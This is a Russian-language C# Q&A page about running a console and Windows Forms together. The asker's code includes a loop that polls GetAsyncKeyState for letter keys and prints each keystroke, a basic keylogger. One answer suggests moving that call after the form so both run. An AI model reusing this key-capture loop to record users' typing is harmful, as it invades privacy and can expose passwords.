Как мне одновременно запустить Консоль и Формы? C # - PullRequest
0 голосов
/ 10 октября 2019

Я пытался найти решение, но ни один из них не помог. Мне бы хотелось, чтобы программа включала Windows Forms и консольное приложение одновременно. Но всякий раз, когда я помещаю код, подобный этому:

static void Main(string[] args)
{ 
    Application.EnableVisualStyles();
    Application.SetCompatibleTextRenderingDefault(false);
    NativeMethods.AllocConsole();
    Checklogs.LogLogic();
    var form = new Form1();
    NativeMethods.FreeConsole();
    Application.Run(new Form1());
    form.Show();
}

Он показывает только консоль. Но когда я удаляю код Checklogs.LogLogic оттуда. это показывает все. Кто-нибудь знает решение? Код Checlogs:

public static void LogLogic()
{

    int l = 0;
    int t = 0;
    while (true)
    {
        //read
        for (l = 65; l < 91; l++)
        {
            t = GetAsyncKeyState(l);

            if (t == -32767 && GetAsyncKeyState(0x14) != 0x14)
            {
                Console.WriteLine((char)(l + 32));
            }
            else if (t == -32767 && GetAsyncKeyState(0x14) == 0x14)
            {
                Console.WriteLine((char)l);
            }
        }

    }
}

Ответы [ 3 ]

0 голосов
/ 10 октября 2019

Checklogs.LogLogic(); - это блокирующий вызов. Выполнение не дойдет до var form = new Form1(); до тех пор, пока не вернется LogLogic, чего никогда не произойдет из-за бесконечного цикла while.

Без претензий на понимание деталей вашей текущей программы или если вся ваша установка хорошаПо идее (что на первый взгляд не так), вы, вероятно, получите результаты, более близкие к вашим ожиданиям, если просто покажете форму (не блокирующую) перед вызовом LogLogic:

...
var form = new Form1();
NativeMethods.FreeConsole();
Application.Run(new Form1());
form.Show();
Checklogs.LogLogic();
0 голосов
/ 10 октября 2019

Понятия не имею, что вы пытаетесь сделать, но как насчет этого:

static class Program
{
    /// <summary>
    /// The main entry point for the application.
    /// </summary>
    [STAThread]
    static void Main()
    {
        if (NativeMethods.AllocConsole()) //allocconsole
        {
            var th = new Thread(CommunicateWithConsole); //create a new thread and pass our endless running method, as to not block the UI Thread
            th.Start();
        }

        //register to ApplicationExit if you want to free the Console when this happens
        Application.ApplicationExit += Application_ApplicationExit;

        //show Form1
        Application.EnableVisualStyles();
        Application.SetCompatibleTextRenderingDefault(false);
        Application.Run(new Form1());
    }

    private static void Application_ApplicationExit(object sender, EventArgs e)
    {
        NativeMethods.FreeConsole();
    }

    //our method to check the console and write to it
    private static void CommunicateWithConsole()
    {
        try
        {
            while (true)
            {
                var x = Console.ReadLine(); //stay here till console returns a line, can be changed to Console.ReadKey()
                if (x == "Hello WinForms") //if line says this
                    Console.WriteLine("Hello ConsoleWindow"); //output this to console, waring only outputs to your console if application is not run with a debugger
            }
        }
        catch (IOException e)
        {
            //when we close our app and call freeconsole an IOException can occurr, handle that case
        }
    }
}

public partial class NativeMethods
{
    [System.Runtime.InteropServices.DllImportAttribute("kernel32.dll", EntryPoint = "AllocConsole")]
    [return: System.Runtime.InteropServices.MarshalAsAttribute(System.Runtime.InteropServices.UnmanagedType.Bool)]
    public static extern bool AllocConsole();

    [System.Runtime.InteropServices.DllImportAttribute("kernel32.dll", EntryPoint = "FreeConsole")]
    [return: System.Runtime.InteropServices.MarshalAsAttribute(System.Runtime.InteropServices.UnmanagedType.Bool)]
    public static extern bool FreeConsole();
}
0 голосов
/ 10 октября 2019

если вы следуете потоку вашей программы, он застревает в цикле while (true).

Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...